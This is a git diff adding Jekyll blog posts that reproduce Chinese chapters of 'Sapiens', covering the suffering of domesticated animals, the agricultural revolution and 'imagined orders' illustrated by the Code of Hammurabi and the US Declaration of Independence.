+人类扩张到世界各地，家畜也跟着他们的脚步移动。1万年前，全球只有在亚非大陆的几个特定地点有绵羊、牛、山羊、野猪和鸡，总数大约几百万只，但现在全球有大约10亿只绵羊、10亿只猪、超过10亿只牛，更有超过250亿只鸡，而且是遍布全球各地。家鸡是有史以来最普遍的鸟类。至于大型哺乳类除了以智人居首，后面的二三四名就是驯化的牛、猪和羊。从狭隘的演化观点来看，演化成功与否的标准就在于DNA的拷贝数，于是农业革命对于鸡、牛、猪、羊来说可是一大福音。 +不幸的是，演化观点并不是唯一判断物种成功与否的标准。它一切只考虑到生存和繁殖，而不顾个体的痛苦或幸福。虽然就演化而言，驯化的鸡和牛很可能是最成功的代表，但它们过的其实是生物有史以来最惨的生活。动物的驯化是建立在一系列的野蛮作为上，而且随着时间的前行，残忍程度只增不减。 +野生鸡的自然寿命大约是7~12年，牛则是20~25年，虽然在野生环境它们多半都活不到这个岁数，但至少还有相当机会可以活个好一阵子。相较之下，出于经济考虑，驯化后的肉鸡和肉牛不过出生几周和几个月，就到了最佳屠宰年龄，于是一命归天。（如果养一只鸡只要三个月就已经达到体重最重的状态，又何必再多喂好几年？） +蛋鸡、奶牛和提供劳力的役用动物有时候能多活上几年，但代价就是过着完全不符合它们天性和渴望的生活。举例来说，不难想象牛宁愿优哉游哉地在开阔的草原上整天漫步，有其他牛做伴，而不是被一个猿类在身后挥着鞭子，要它拉车拖犁。 +为了把牛、马、驴、骆驼训练成听话的役用动物，就必须打破它们的天性和社会连接，抑制它们的侵略和性能力，并且限制它们的行动自由。农民还发明各种控制技术，像是把动物关在兽栏和兽笼里、套上枷锁链条，用皮鞭和刺棒来训练，甚至刻意造成动物伤残。驯化动物的过程几乎总是会将雄性阉割，好抑制雄性的侵略性，也让人类能够控制挑选牲畜的生育。 +在许多新几内亚的部落社会里，想判断一个人富不富有，就要看他/她有几头猪。而为了确保猪跑不掉，新几内亚北部的农民会把猪的鼻子切掉一大块。这样一来，每次猪想闻东西，都会感到强烈的疼痛，不但无法觅食，甚至连找路都做不到，于是不得不完全依赖人类主人。在新几内亚的另一个地区，人们甚至还习惯直接把猪的眼睛挖掉，杜绝它们逃跑的可能。29 +图11 公元前1200年的埃及坟墓壁画：有一对牛在耕田。野生的牛群可以自在漫游，也有自己复杂的社会结构。但牛遭到阉割和驯化之后，一辈子就只能耗费在人类的鞭子下、狭窄的牛棚里，独自或成对提供劳力，既不符合身体自然，也无法满足其社会及情感需求。等到牛拉不动犁了，就只有被屠宰一途。（但请注意，这位埃及农民也是驼着背做事；这跟牛没什么两样，就是一辈子做着有害身体、心灵和社会关系的劳力工作。） +乳品业自有一套来强迫动物听话。奶牛、山羊和绵羊只有生了小牛小羊之后才会产奶，而且也仅限哺乳期这一段时间。想要动物不断供奶，农民必须让它们生下小牛小羊，但又不能让小牛小羊把奶吸光。所以，整个历史上常用的方法就是干脆等到小牛小羊出生后不久就全宰了，如此一来人类就能霸占所有牛奶羊奶，等到它们停奶之后再重新怀胎即可。听来残忍，但甚至到现在这种做法仍然十分普遍。在许多现代的酪农场里，奶牛通常只能活到5岁就会被宰杀。这5年中，它几乎一直在怀孕，为了维持最大的产奶量，在分娩后大约60~120天就要再次受精。至于它的小牛们，则是一出生没多久就被带走，母的被养大成为新一代的奶牛，而公的就进了肉类产业的手里。30 +另一种方式，是虽然容许小牛小羊接近妈妈，却用上各种方式不让它们喝得太多。最简单的办法，是让小牛小羊开始吸奶，但在奶要流出来之前就把它们抱走。可以想见，这种方式会同时受到母亲和孩子两方的抗拒。有些畜牧部落过去的做法，是将小牛小羊宰杀食用，但拿东西塞回空的毛皮做成标本，再送回妈妈身边刺激它们产奶。而在苏丹的努尔族（Nuer）还更进一步，在标本上涂着牛妈妈的尿液，所以这只假小牛连闻起来也很像个样子。努尔族的另一项技术则是在小牛的嘴边绑上一圈刺，小牛想吃奶就会刺伤牛妈妈，好让牛妈妈排斥让小牛吃奶。31撒哈拉的图阿雷格族（Tuareg）养骆驼，他们过去会将小骆驼的鼻子和上唇的部分穿孔或切除，如此一来只要一吸奶就会疼痛，也就不会喝得太多。32 +* * * +也不是所有农业社会都对他们农场里的动物如此残酷。某些家畜的日子还是过得相当不错。像是拿来剃毛的羊、宠物狗和猫，以及战马和赛马，常常就过得相当惬意。古罗马皇帝卡利古拉（Caligula）据说还曾经打算任命他最爱的马“英西塔土斯”（Incitatus）为执政官。综观历史，牧者和农民对他们的动物还是抱有感情、照顾有加，正如许多奴隶的主人也会对奴隶关心照顾。所以，君王和先知会把自己营造成牧者的形象也就不那么意外，他们和他们的神照顾子民的方式，确实也像是牧羊人照顾羊群一般。 + +然而，如果从牛羊的观点而非牧者的观点来看农业革命，就会发现对绝大多数的家畜来说，这是一场可怕的灾难。这些演化的“成功”是没有意义的。就算是濒临绝种的野生犀牛，比起被关在小格子里变肥、等着成为鲜美牛排的肉牛，日子应该还是好过得多。虽然自己的物种即将灭绝，但这丝毫不会影响那头野生犀牛对自己生活的满意程度。相较之下，肉牛这个物种虽然在数量上大获成功，却完全无法安慰那些单独个体所承受的痛苦。 +我们从农业革命能学到的最重要一课，很可能就是物种演化上的成功并不代表个体的幸福。研究像小麦和玉米这些植物的时候，或许纯粹的演化观点还有些道理。但对于像是牛、羊、智人这些有着复杂情感的动物来说，就必须想想演化上的成功会对个体的生活有什么影响。我们在下面的章节还会一再看到，每当人类整体的能力大幅增加、看来似乎大获成功，个人的苦痛也总是随之增长。 +图12 一头在现代化畜牧场里的小牛。小牛出生后立即与母亲分开，关在一个不比身体大多少的笼子里。小牛得在这里度过一辈子，但它的一辈子平均也只有大约四个月。它这一辈子再也不会离开笼子，从没有机会和其他小牛玩，甚至连走路的机会也被剥夺；这一切都是为了避免它的肌肉运动而变硬。肌肉越柔软，牛排也就越鲜嫩、多汁。于是，这只小牛第一次有机会走路、伸展筋骨、遇见其他小牛的时候，也就是在前往屠宰场的路上。就演化而言，牛可能是有史以来最成功的动物。但同时，它们也是地球上生活最悲惨的动物。 diff --git a/_posts/2017-01-06-198-sapiens-cp06.md b/_posts/2017-01-06-198-sapiens-cp06.md new file mode 100644 index 0000000..29213d5 --- /dev/null +++ b/_posts/2017-01-06-198-sapiens-cp06.md @@ -0,0 +1,98 @@ +--- +layout: post +title: 第六章盖起金字塔 +pid: 198 +tags: [人类简史：从动物到上帝] +--- +第六章 +盖起金字塔 +农业革命可能是史上最具争议的事件。有些人认为这让人类迈向繁荣和进步，也有人认为这条路终将导致灭亡。对后者来说，农业革命是个转折点，让智人抛下了与自然紧紧相连的共生关系，大步走向贪婪，自外于这个世界。但不管这条路的尽头为何，现在都已经无法回头。进入农业社会之后，人口得以急遽增加，任何一个复杂的农业社会想回到狩猎和采集的生活，就只有崩溃一途。大约在公元前10000年、进入农业时代的前夕，地球上采集者的人口大约有500万到800万。而到了公元1世纪，这个人数只剩下一两百万（主要在澳大利亚、美洲和非洲），相较于农业人口已达2.5亿，无疑是远远瞠乎其后。33 +绝大多数的农民都是住在永久聚落里，只有少数是游牧民族。“定居”这件事，让大多数人的活动范围大幅缩小。远古狩猎采集者的活动范围可能有几十甚至上百平方公里。当时这片范围都是他们的“家”，有山丘、溪流、树林，还有开阔的天空。但对农民而言，几乎整天就是在一小片田地或果园里工作，就算回到“家”，这时的房子也就是个用木头、石头或泥巴盖起的局促结构，每边再长也不过几十米。一般来说，农民就会和房屋这种构造建立起非常强烈的连接。这场革命意义深远，除了影响建筑，更影响了心理。在农业革命之后，人类成了远比过去更以自我为中心的生物，与“自己家”紧密相连，但与周遭其他物种画出界线。 +新形成的农业活动范围，除了面积远小于过去远古的采集活动范围，内部人工的成分也大增。除了用火，狩猎采集者很少刻意改变他们所漫游闲晃的土地；但农民就完全不同，可以说他们是从一片荒野中，劳心劳力刻意打造出一个专属人类的人工孤岛。他们会砍伐森林、挖出沟渠、翻土整地、建造房屋、犁出犁沟，还会把果树种成整齐的一排又一排。对人类来说，这样人工打造出来的环境就是仅限人类和“我们的”动植物所有，常常还用墙壁和树篱围了起来。农民无所不用其极，一心防止各种杂草和野生动物入侵。就算真的出现闯入者，也会被再赶出去。赶不走的，下一步就是消灭它们。在家园四周，这种防卫特别强。从农业开始发展到现在，人类的家园得面对勤劳的蚂蚁、鬼鬼祟祟的蟑螂、冒险犯难的蜘蛛还有误入歧途的甲虫，于是数十亿人口也就武装起来，用树枝、苍蝇拍、鞋子和杀虫剂，迎向这场永不停止的战争。 +史上大多数时间，这些人造领域仍然非常小，四周围绕着广大的自然旷野。整个地球表面约有5.1亿平方公里，其中陆地占了1.55亿平方公里。到了公元1400年，把绝大多数的农民、农作物和家禽家畜全加起来，占地还大约只有1100万平方公里，约全球面积的2%。34而其他地方可能太热、太冷、太干、太湿，不宜农耕。然而，正是地球表面这微乎其微的2%，构成了整个历史展开的舞台。 +人类发现自己已经很难离开这些人工岛屿了，所有的房子、田地、谷仓，放弃哪个都可能带来重大的损失。此外，随着时间过去，他们拥有的东西越来越多，不易搬运，也把他们绑得死死的。虽然在我们看来，远古的农民似乎又脏又穷，但当时一个典型的农民家庭，拥有的物品数量已经胜过了一整个儿采集部落。 +未来的来临 +农业时代人类的空间缩小，但时间却变长了。一般来说，采集者不会花太多心思考虑下周或下个月的事，但农民却会想象预测着未来几年甚至几十年的事。 +采集者之所以不管未来，是因为他们就是现采现吃，不管是保存食物还是累积财物，当时都不是容易的事。当然，他们显然还是有某些事得要事先规划。不管是在雪维、拉斯科或是阿尔塔米拉（Altamira）洞穴，这些艺术家绘画的时候想必都希望它能够流传后世。人际关系和政治对立都是长期的事，无论报恩或报仇，常常都要花上好几年的时间。然而，在狩猎和采集这种自给自足的经济里，要做这种长期规划就会受到客观条件的限制。但说来也有趣，这让采集者省下了许多不必要的忧虑。毕竟，如果是那些无法影响的事，就算担心也没用。 +而在农业革命之后，“未来”的重要性被提到史上新高。农民不仅时时刻刻都得想着未来，还几乎可以说是为了未来在服务。农业经济是以生产的季节周期为基础，经过很多个月耕作，再来到相对较短的收成高峰期。丰收的时候，农民可能会在收成结束后的晚上欢庆一场，慰劳这段时间的辛劳，但顶多一星期后就又会回到日出而作、日落而息的生活。虽然可能已经有了足够的粮食来应付今天、下周甚至下个月，他们还是得担心明年和后年的问题。 +之所以要担心未来，除了有生产季节周期的因素，还得面对农业根本上的不确定性。由于大多数村落拥有的农作物或家禽家畜物种十分有限，一旦遇上旱灾、洪水和瘟疫就容易灾情惨重。于是，农民不得不生产出多于所需的食物，好储备存粮。粮仓里堆了米，地窖里存了橄榄油，食品室里有奶酪，屋梁上还挂着香肠，否则遇到歉收年就有可能会饿死。而且，总有歉收的一年，只是时间早晚而已，如果农民不早做准备，绝对也活不久。 +于是，早从农业时代一开始，“未来”就一直是人类心中小剧场的主要角色。在农民得靠雨水灌溉的地方，雨季一开始担心也就开始。每天早上，农民就会凝视着远方，闻闻风的味道，盯到眼睛发酸。那片是云吗？能不能来场及时雨？雨会下得够吗？雨会不会又下得太大，把田里的种子或秧苗都冲走打坏了？而在幼发拉底河、印度河、黄河流域，这里的农民一样忧心忡忡，但看的是河水的高度。他们需要雨季让河面上升，一方面把上游肥沃的土壤冲下来，另一方面引水进入他们庞大的灌溉系统。然而，如果这场洪水让河面涨得太高，又或来的时机不对，田地就会遭到严重破坏，下场与旱灾一样凄惨。 +农民担心未来，除了因为有更多东西要保护，也是因为现在有别的方法可以减少风险。他们可以再整一块地，再挖一条灌溉的渠道，再多种一点作物。在夏天，满怀忧虑的农民像工蚁一样疯狂工作，挥汗种着橄榄树，再由他的孩子和孙子把橄榄压成油，这样到了冬天甚至明年，他就能吃到今天想吃的食物。 +农业带来的压力影响深远，这正是后代大规模政治和社会制度的基础。但可悲的是，虽然农民勤劳不懈、希望能够保障自己未来的经济安全，但这几乎从来未曾实现。不管在任何地方，都出现了统治者和精英阶级，不仅靠着农民辛苦种出的食粮维生，还几乎全征收抢光，只留给农民勉强可过活的数量。 +正是这些征收来的多余食粮，养活了政治、战争、艺术和哲学，建起了宫殿、堡垒、纪念碑和庙宇。在现代晚期之前，总人口有九成以上都是农民，日出而作、胼手胝足。他们生产出来的多余食粮养活了一小撮的精英分子：国王、官员、战士、牧师、艺术家和思想家，但历史写的几乎全是这些人的故事。于是，历史只告诉了我们极少数的人在做些什么，而其他绝大多数人的生活就是不停挑水耕田。 +由想象所建构的秩序 +靠着农民多生产出来的食物，加上新的运输技术，越来越多的人可以住在一起，先形成村落，再形成城镇，最后成为都市，再由王国或商业网络把它们紧紧相连。 +然而，想真正抓住新时代的契机，光靠粮食剩余和交通改善还不够。就算有能力养活某个城镇的一千人或是某个国家的一百万人，还是无法确保这些人都同意如何划分领土和水资源，如何解决争端，以及在干旱或战时该如何应变。而如果对这些事项都无法达成协议，就算大家谷仓满满，还是会冲突不断。史上的场场战争和革命，多半起因都不是粮食短缺。法国大革命领头的是有钱的律师，而不是饥饿的农民。古罗马共和国在公元前1世纪达到权力高峰，舰队从整个地中海运来种种珍宝，就算在他们祖先最疯狂的梦里也意想不到。然而，正是在他们的富庶达到最大值的时候，古罗马的政治秩序崩溃，引来一系列致命的内战。南斯拉夫在1991年的资源完全足以养活所有国民，但依旧解体并引发可怕的浴血战争。 +这种灾难的根源在于，人类在几百万年的演化过程中，一直都只是几十人的小部落。从农业革命之后，不过短短几千年就出现了城市、王国和帝国，但时间并不足以让人类发展出能够大规模合作的本能。 +虽然人类在采集时代也没有这种合作的生物本能，但因为有共同的神话故事，几百个陌生人就能够互相合作。然而，这种合作毕竟比较松散而有限，各个智人部落还是各自生活，也能满足大多数智人的自身需要。如果两万年前有个社会学家，完全不知道农业革命后的事情，就很有可能认为种种虚构神话故事的用途相当有限。讲到祖灵、讲到部落图腾，或许已经足以让500人愿意用贝壳交易、举办某种庆典或是联手消灭某个尼安德特人的部落，但也就如此而已了。这位远古社会学家不可能想到，靠着虚构的故事还能让几百万互不相识的人每天合作。 +但事实就是如此出乎意料。现在看来，虚构故事的力量强过任何人的想象。农业革命让人能够开创出拥挤的城市、强大的帝国，接着人类就开始幻想出关于伟大的神灵、祖国、有限公司的故事，好建立起必要的社会连接。虽然人类的基因演化仍然一如既往慢如蜗牛，但人类的想象力却是极速奔驰，建立起了地球上前所未有的大型合作网络。 +在大约公元前8500年，全球最大的聚落大概就是像杰里科这样的村落，大概有几百个村民。而到了公元前7000年，位于今日土耳其的加泰土丘（?atal H?yük）城镇大约有5000到10000人，很可能是当时世界上最大的聚落。再到了公元前5世纪到公元前4世纪，肥沃月湾（Fertile Crescent）一带已经有了许多人口达万人的城市，而且各自掌理着许多附近的小村庄。在公元前3100年，整个下尼罗河谷统一，成为史上第一个埃及王朝，法老王统治的领土有数千平方公里辽阔，人民达数十万。大约在公元前2250年，萨尔贡大帝（Sargon the Great）建立起第一个帝国：阿卡德帝国，号称拥有超过100万的子民，常备军队达5400人。在公元前1000年到公元前500年之间，在中东开始出现大型帝国：亚述帝国、巴比伦帝国和波斯帝国。这些帝国统治人数达数百万，军队人数也有上万人。到了公元1年，古罗马统一了整个地中海地区，纳税人口达1亿。有了这些钱，古罗马得以维持人数达25万到50万的常备军，架构完善的交通网络，在1500年后仍然在使用，另外还有到现在仍令人赞叹的剧院和露天剧场。 +其他地区也各自有其社会发展和政治统一的过程。例如在东亚，大约在公元前7000年，开始在黄河流域出现小村落，最后在公元前221年由秦始皇统一天下。秦朝约有4000万人，税收得以支持数十万士兵，以及共有超过十万官员的复杂朝廷系统。 +确实，这种种都令人印象深刻，但我们不该有太美好的幻想，以为在法老王时代的埃及或是在秦朝的“大型合作网络”就已十分完美。“合作”听起来应该十分无私而且利他，但这件事并不总是出于自愿，而且还更少能够公平。大多数的人类合作网络最后都成了压迫和剥削。在这种新兴的合作网络里，农民交出他们辛苦工作得来的多余粮食，但帝国的收税官只要大笔一挥，就可能让他们一整年的辛劳都化为乌有。像是古罗马著名的圆形剧场，常常是由奴隶所建造，让有钱有闲的古罗马人观赏由奴隶上演的神鬼战士秀。就连监狱和集中营也算是合作网络，要不是有数千名互不相识的人用了某些方式来管理协调彼此的行动，这些网络根本不可能运作。 +* * * +所有这些合作网络，不管是古代美索不达米亚的城市，还是秦朝和古罗马的帝国，都只是“由想象所建构的秩序”。支持它们的社会规范既不是人类自然的天性本能，也不是人际的交流关系，而是他们都相信着共同的虚构神话故事。 +虚构的故事是怎么支撑着整个帝国？我们已经讨论过一个这样的例子：标致公司。现在我们可以来看看另外两个史上最有名的虚构故事：第一个是大约在公元前1776年的《汉谟拉比法典》，这可以说是几十万古巴比伦人的合作手册；第二个是公元1776年的美国《独立宣言》，这可以说是现代数亿美国人的合作手册。 +在公元前1776年，巴比伦是当时最大的城市，而巴比伦帝国也很可能是当时最大的帝国，子民超过百万，统治着大半的美索不达米亚平原，包括现代大半的伊拉克地区和部分的叙利亚和伊朗。现在最有名的巴比伦国王就是汉谟拉比，而他有名的原因，主要就在于以他命名的《汉谟拉比法典》。这部法典汇集各种律法和判例，希望将汉谟拉比塑造为一个正义国王的榜样，作为更一致的法律体系基础，并且教育后世子孙何为正义，正义的国王又该如何行事。 +后世子孙确实看到了。远古美索不达米亚平原的知识分子与官僚精英将这部法典奉为经典，就算等到汉谟拉比骨已成灰，巴比伦帝国也烟消云散，这部法典还是由文士不断抄写流传。因此，想认识古代美索不达米亚人对于社会秩序的理想，《汉谟拉比法典》是个很好的参考来源。35 +法典开头指出，美索不达米亚的几位大神安努（Anu）、恩利尔（Enlil）和马杜克（Marduk）任命汉谟拉比“在这片土地伸张正义，驱除不义罪恶，阻绝恃强凌弱”36。接着，法典列出大约300条判例，固定写法是“如果情形如何如何，判决便应如何如何”。以下举出判例196~199和209~214： +196. 若某个上等人使另一个上等人眼瞎，便应瞎了他的眼。 +197. 若他使另一个上等人骨折，便应打断他的骨。 +198. 若他使某个平民眼瞎或骨折，他应赔偿60舍客勒（shekel，约8.33克）的银子。 +199. 若他使某个上等人的奴隶眼瞎或骨折，他应赔偿该奴隶价值的一半（以银子支付）37。 +209. 若某个上等人殴打一个上等女子、造成她流产，他应赔偿她10舍客勒的银子。 +210. 若该女子丧命，他们应杀了他的女儿。 +211. 若他殴打某个平民女子、造成她流产，他应赔偿她5舍客勒的银子。 +212. 若该女子丧命，他应赔偿30舍客勒的银子。 +213. 若他殴打某个上等人的女奴隶、造成她流产，他应赔偿2舍客勒的银子。 +214. 若该女奴丧命，他应赔偿20舍客勒的银子。38 +列举他的判决后，汉谟拉比再次宣告： +以上是干练有能的国王汉谟拉比所做出的公正裁决，指示着这片土地朝向真理的道路、人生的正途……我是汉谟拉比，高贵的国王。恩利尔神将人类子民交付给我照护，马杜克神将人类子民交付给我带领，而我悉心关怀、不曾轻忽。39 +《汉谟拉比法典》认为，巴比伦的社会秩序根源于由神所指示、普遍且永久的正义原则。这里的阶级结构原则至关重要，将所有人类分成男女两种性别，以及上等人、平民和奴隶三种阶级；性别和阶级不同，价值也就天差地别。像是一个平民女性值30舍客勒的银子，一个女奴隶只值20舍客勒，但光是平民男性的一只眼睛就值60舍客勒的银子。 +《汉谟拉比法典》也有严格的家庭阶级制度，根据规定，小孩并不是独立的人，而是父母的财产。因此，如果一个上等人杀了另一个上等人的女儿，惩罚就是把凶手的女儿给杀了。这对我们看来可能荒谬至极，凶手本人逍遥自在，但他无辜的女儿却得赔上一命。但在汉谟拉比和当时的巴比伦人看来，这再公平正义不过。《汉谟拉比法典》背后的一项重要假设，就是只要国王的臣民全部接受各自的阶级角色、各司其职，整个帝国上百万的人民就能有效合作。这么一来，这个社会不但能为所有成员生产足够的粮食、有效分配，还能保护国家抵抗敌人，甚至是扩张领土，好取得更多财富、更多安全保障。 +汉谟拉比去世3500年后，北美13个英国殖民地的民众认为英国国王对待他们不公，于是各殖民地代表群聚费城，于1776年7月4日宣布，所有殖民地的民众不再是英国王室的子民。美国的《独立宣言》宣告自己是普遍和永恒的正义原则，而这则宣言也像《汉谟拉比法典》一样找了神祇来背书。然而，美国神指示的至高原则，却似乎和巴比伦神指示的有所出入？美国《独立宣言》主张： +我们认为下面这些真理是不言而喻的：人人生而平等，造物者赋予他们若干不可剥夺的权利，其中包括生命权、自由权和追求幸福的权利。 +一如《汉谟拉比法典》，美国《独立宣言》也承诺着如果人类依照其中规定的神圣原则行事，数百万的民众就能彼此合作无间、生活安全和平、社会公平且繁荣。和《汉谟拉比法典》一样，美国《独立宣言》的效力不仅限于当时当地，而是让后世子孙依然奉为圭臬。现在已经过了超过两百年，但美国学童仍然要抄写、背诵这份宣言。 +这两份文本让我们左右为难，不管是《汉谟拉比法典》还是美国《独立宣言》，都声称自己说的是普遍且永恒的公平正义原则，但美国人认为所有人都是平等的，而巴比伦人显然并不这样认为。但事实上，他们都错了。不管是汉谟拉比还是美国的开国元勋，心中都有个想象的现实，想象着这个世界有着放诸四海皆准、永恒不变的正义原则（例如平等或阶级），但这种不变的原则其实只存在于智人丰富的想象力里，只存在于他们创造并告诉彼此的虚构故事中。这些原则，从来就没有客观的正确性。 +对我们来说，听到要把人分成“上等人”或“平民”，大概都会同意这只是一种想象。但其实，即使说的是“人人平等”，也只是虚构的概念。到底所谓人人平等是什么？除了想象中之外，有没有什么客观的事实可以说我们人人平等？人类彼此在生物学上都相等吗？从生物学的角度，我们再重新看一次美国《独立宣言》里最著名的段落： + + +我们认为下面这些真理是不言而喻的：人人生而平等，造物者赋予他们若干不可剥夺的权利，其中包括生命权、自由权和追求幸福的权利。 +一开始，英文讲到人人生而平等用的词是“create”（创造），但生物学并没有“创造”，而是演化。演化铁定没有“平等”这回事，所谓平等的概念，是与“创造”的概念紧密相关。美国人的“平等”观念来自基督教，基督教认为每个人的灵魂都是由上帝创造，而所有灵魂在上帝面前一律平等。但是，如果我们不相信基督教那一套关于上帝、创造和灵魂的神话故事，那所谓人人“平等”究竟是什么意思？演化的基础是差异，而不是平等。每个人身上带的基因码都有些许不同，而且从出生以后就接受着不同的环境影响，发展出不同的特质，导致不同的生存概率。“生而平等”其实该是“演化各有不同”。 +而根据生物学，人并不是“创造”出来的，自然也就没有“造物者”去“赋予”人类什么。个体诞生的背后就只是盲目的演化过程，而没有任何目的。所以“造物者赋予”其实就只是“出生”。 +同样，生物学上也没有“权利”这种事，只有各种器官、能力和特性。鸟类会飞就是因为它们有翅膀，可不是因为有什么“飞的权利”。此外，这些器官、能力和特性也没有什么“不可剥夺”的问题，它们常常会不断突变，还可能在一段时间后完全消失。例如鸵鸟，就是失去了飞行能力的鸟类。所以，“不可剥夺的权利”其实是“可变的特性”。 +那我们要问，究竟人类演化有什么特性？“生命”倒是毋庸置疑，不过“自由”又是怎么回事？生物学可不讲自由这种东西。“自由”就像是“平等”、“权利”和“有限公司”，不过是人类发明的概念，也只存在于人类的想象之中。从生物学的角度来看，要说人类在民主社会是自由的，而在独裁统治下是不自由的，这点完全没有意义。最后，“幸福”又是什么？到目前为止，生物学研究还是没办法为“幸福”明确下个定义，也没办法客观测量“幸福”。大部分的生物研究都只认可“快感”确实存在，也能有比较容易的定义和测量方式。所以，“生命权、自由权和追求幸福的权利”其实只是“生命和追求快感”。 +因此，我们来看看美国《独立宣言》改用生物学、科学的角度来写该是如何： +我们认为下面这些真理是不言而喻的：人人演化各有不同，出生就有某些可变的特性，其中包括生命和追求快感。 +上面这段推论过程，如果是平等权和人权的激进分子看到可能会大发雷霆，大声驳斥：“我们知道人在生物学上不相等！但是如果大家都相信人人在本质上平等，就能创造出一个稳定繁荣的社会。”这点我完全赞成，但这正是我所说“由想象所建构的秩序”。我们相信某种秩序，并非因为它是客观的现实，而是因为相信它可以让人提升合作效率、打造更美好的社会。这种由想象所建构的秩序绝非邪恶的阴谋或是无用的空谈，而是唯一能让大群人类合作的救命仙丹。但也别忘了，汉谟拉比也可以用同样的逻辑来捍卫他的阶级原则：“我知道所谓上等人、平民和奴隶在本质上其实并没有什么不同。但如果我们这么相信，就能创造出一个稳定繁荣的社会。” +真正的坚信者 +很多读者读到上面这一节，可能都觉得如鲠在喉。毕竟那就是我们中的多数人今天所接受的教育。我们说《汉谟拉比法典》是虚构故事，并不会觉得难以接受，但说到人权也只是虚构的故事，听来就有些刺耳。如果大家都发现人权不过是种想象，岂不是社会就要崩溃了吗？讲到“神”的概念，伏尔泰就曾说：“世界上本来就没有神，但可别告诉我的仆人，免得他半夜偷偷把我宰了。”汉谟拉比对于阶级原则、美国国父杰斐逊对于人权，应该也都会说出一样的话。智人并没有什么与生俱来的权利，就像蜘蛛、鬣狗和黑猩猩也都是如此。但可别告诉我们的仆人，免得它们半夜偷偷把我们宰了。 +这种担心其实很有道理。自然界的秩序是稳定不变的，就算人类不再相信世界上有重力，重力也不会一夜之间就消失。但相反的是，想象所建构出来的秩序总是有一夕崩溃的风险，因为这些秩序背后靠的都是虚构的故事，只要人们不再相信，一切就风云变色。为了维持想象建构出来的秩序，必须持续投入大量心力，甚至还得掺入些暴力和胁迫的成分。像是为了让民众不违反想象建构的秩序，国家就需要有军队、警察、法院和监狱不分昼夜发挥作用。如果一个古巴比伦人让邻居眼睛瞎了，想要执行“以眼还眼”的规定，就不得不有些暴力的措施。而在1860年，大部分美国公民已经认为黑奴也是人，必须享有自由的权利，这时也是靠着血流无数的一场内战，才让南方各州只能黯然接受。 +然而，光靠暴力还不足以维持由想象所建构出来的秩序，我们另外还需要一些真正坚信如此的信徒。法国政治家塔列朗（Charles Maurice de Talleyrand-Périgord）的政治生涯就像条变色龙，先是路易十六的臣子，再经过革命和拿破仑政权，又抓准时机再次投诚，回到君主制的政体。他曾总结自己几十年任职的经验，表示“刺刀确实可以做很多事，但想安心地依靠它可是不太容易”。很多时候，一名牧师的效果大过一百个士兵，而且更便宜、更有效。此外，不管刺刀多有效，总得有人来刺。如果士兵、狱卒、法官和警察根本不相信某个想象建构的秩序，他们又怎么会照办？在所有的人类集体活动中，最难组织推动的就是暴力活动。如果说社会秩序是由武力来维持，立刻就会碰上一个问题：那军队秩序是由什么来维持？想靠威胁来维持军队组织显然不太可行。至少必须有某些军官和某些士兵真正相信某些事情，不管是上帝、荣誉、祖国、男子气概，或是单纯相信金钱也成。 +另一个更有趣的问题，是关于那些站在社会金字塔顶端的人。如果他们并不相信这些想象的秩序，他们又为什么要推动这种秩序呢？常有人说这些人其实什么都不信，只是贪婪而已。但这种说法有问题。如果真的是什么都不信（像是犬儒学派），就很难是个贪婪的人，毕竟客观来说，只是单纯要满足智人的基本生理需求并不难。而满足基本需求之后，多余的钱就可以用来盖金字塔、到世界各地度假、资助竞选活动、提供资金给你最爱的恐怖组织或是投入股市再赚更多的钱，但对真正的犬儒主义者来说，这一切贪婪的事都毫无意义。创立犬儒学派的希腊哲学家第欧根尼（Diogenes），就住在一个桶里。据说有一天他正在做日光浴，当时权倾天下的征服者亚历山大大帝来找他，想知道他是否需要些什么，而且保证自己会尽力协助。第欧根尼回答：“确实，有件事可以请你帮个忙。麻烦你移动一下，别再挡住我的阳光。” +正因如此，犬儒主义者不可能建立起帝国，而且如果人们希望某个由想象建构出的秩序能维持久远，大部分的人（特别是大部分的精英分子）就必须真正相信它。如果不是大多数中国人都相信仁义礼智信，儒家思想绝不可能持续了两千多年。如果不是大多数的美国总统和国会议员都相信人权，美国的民主也不可能持续了250年。如果不是广大的投资人和银行家都相信资本主义，现代经济体系连一天也不可能继续存在。 +监狱的高墙 +不管是基督宗教、民主还是资本主义，都只是由想象所建构出来的秩序。而要怎样才能让人相信这些秩序？第一，对外的说法绝对要坚持它们千真万确、绝非虚构。永远要强调，这种维持社会稳定的秩序是个客观事实，是由伟大的神或是自然的法则所创造。如果要说人人不平等，不是因为汉谟拉比自己这么说，而是因为恩利尔和马杜克这两位神的旨意。如果要说人人平等，也不是因为托马斯·杰斐逊自己这么说，而是因为这是上帝造人的方式。如果要说自由市场是最好的经济制度，不是因为亚当·斯密（Adam Smith）自己这么说，而是因为这是自然不变的规律。 +第二，在教育上也要彻底贯彻同一套原则。从人出生的那一刻起，就要不断提醒他们这套想象建构出来的秩序，要在一切事物中融入这套原则，不管是童话、戏剧、绘画、歌曲、礼仪、政治宣传、建筑、食谱还是时尚。举例来说，我们现在相信平等的概念，所以富人家的子弟穿起牛仔裤，觉得这是种时尚。一开始，牛仔裤是工人阶级的打扮，而如果是在相信阶级制度的中世纪，欧洲人绝对不可能有哪个年轻贵族去穿上农民的工作服装。在当时，“先生”（Sir）或“女士”（Madam）是贵族专属的特权称谓，甚至常常还得通过许多牺牲才能取得。但到了现在，不管信件的收件人是谁，开头的称谓一律都是“亲爱的某某先生／女士”（Dear Sir or Madam）。 +不论是人文科学还是社会科学，人们都已经花了大把精力来解释这些想象建构的秩序会如何融入我们的生活。但这里篇幅有限，只能简单一谈。有三大原因，让人类不会发现组织自己生活的种种秩序其实是想象： +1. 想象建构的秩序深深与真实的世界结合。 +虽然这些想象建构的秩序只存在于我们的脑海里，但它可以与真实的世界紧紧结合、密不可分。像是今天大多数西方人都相信个人主义，认为每个人都是独立的个体，有独立的价值，而不受他人看法的影响。换句话说，就好像我们每个人都有自己的一道光照亮我们，让我们的生活有价值、有意义。在现代西方学校里，老师和家长会告诉小孩，受到同学嘲笑并不用太在意，因为只有他们自己知道自己的真正价值，别人不见得了解。 +除此之外，这种由想象建构的虚构故事还落实到了现代建筑之中。像是理想的现代建筑会将房屋分成许多小房间，让每个孩子都能有私人空间，不用曝露在他人的目光之下，能有最大的自主权。这种私人房间几乎一定有门，而且许多家庭不只允许小孩关门，甚至还能上锁，就连父母想进去，都得先敲敲门得到允许才成。小孩对自己房间的装饰可以随心所欲，墙上可以贴着摇滚明星的海报，也可以满地丢着脏袜子。如果在这样的空间里成长，任何人都会觉得自己就是个“个体”，觉得自己的真正价值是由内而外的，而不是他人所赋予的。 